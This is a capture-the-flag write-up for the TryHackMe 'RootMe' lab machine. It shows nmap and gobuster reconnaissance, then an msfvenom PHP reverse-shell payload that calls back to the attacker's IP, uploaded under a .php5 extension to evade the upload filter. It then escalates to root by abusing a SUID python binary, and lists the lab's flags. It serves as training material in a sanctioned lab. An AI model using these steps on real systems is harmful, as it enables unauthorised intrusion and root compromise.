TryHackMe CTF: RootMe

IP: **10.10.187.43**


## Reconnaissance
#### nmap
```
[kali:~]$ sudo nmap -p- 10.10.187.43
[sudo] password for kali:
Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-07 10:09 EST
Nmap scan report for 10.10.187.43
Host is up (0.049s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 87.43 seconds
[kali:~]$ sudo nmap -sC -sV -p22,80 10.10.187.43
Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-07 10:11 EST
Nmap scan report for 10.10.187.43
Host is up (0.043s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 4a:b9:16:08:84:c2:54:48:ba:5c:fd:3f:22:5f:22:14 (RSA)
|   256 a9:a6:86:e8:ec:96:c3:f0:03:cd:16:d5:49:73:d0:82 (ECDSA)
|_  256 22:f6:b5:a6:54:d9:78:7c:26:03:5a:95:f3:f9:df:cd (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-title: HackIT - Home
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.06 seconds
[kali:~]$
```
- Found a webserver
#### Gobuster
```
[kali:~]$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.187.43/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.187.43/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2023/03/07 10:16:01 Starting gobuster in directory enumeration mode
===============================================================
/uploads              (Status: 301) [Size: 314] [--> http://10.10.187.43/uploads/]
/css                  (Status: 301) [Size: 310] [--> http://10.10.187.43/css/]
/js                   (Status: 301) [Size: 309] [--> http://10.10.187.43/js/]
/panel                (Status: 301) [Size: 312] [--> http://10.10.187.43/panel/]
Progress: 7383 / 220561 (3.35%)                                                  ^C
[!] Keyboard interrupt detected, terminating.

===============================================================
2023/03/07 10:16:35 Finished
===============================================================
```
- Found the file `panel` containing an upload point with `upload` folder exposed

## Exploiting
#### Msfvenom
```
[kali:~]$ msfvenom -p php/meterpreter_reverse_tcp LHOST=10.14.36.168 LPORT=4444 -f raw > shell.php
To use retry middleware with Faraday v2.0+, install `faraday-retry` gem
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 34789 bytes
```
- Created a php shell since the webserver is using php
- Changed the extension to `.php5` to evade the detection
- Sometimes the application accepts the file but not execute it
- Upload it and got a reverse shell with `www-data` user


## Priv Esc
- Looking for SUID files permission: `find / -user root -perm /4000`
- Got a bunch, but the interesting one is `/usr/bin/python`
- Went to https://gtfobins.github.io/ and looked for python > SUID
- Found this `./python -c 'import os; os.execl("/bin/sh", "sh", "-p")'`
- Executed it
```
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
ls
shell.php3
shell1.php3
shellfinal
shellfinal.PHTML
shellfinal.php%00.txt
shellfinal.php5
shelly.elf
shellyy.php3
shellyy.sh
webshell.php3
whoami
root
cd /root
ls
root.txt
cat root.txt
THM{pr1v1l3g3_3sc4l4t10n}
```

## Flags
- User: `THM{y0u_g0t_a_sh3ll}`
- Root:  `THM{pr1v1l3g3_3sc4l4t10n}`

This paste owned by https://linktr.ee/a7.acc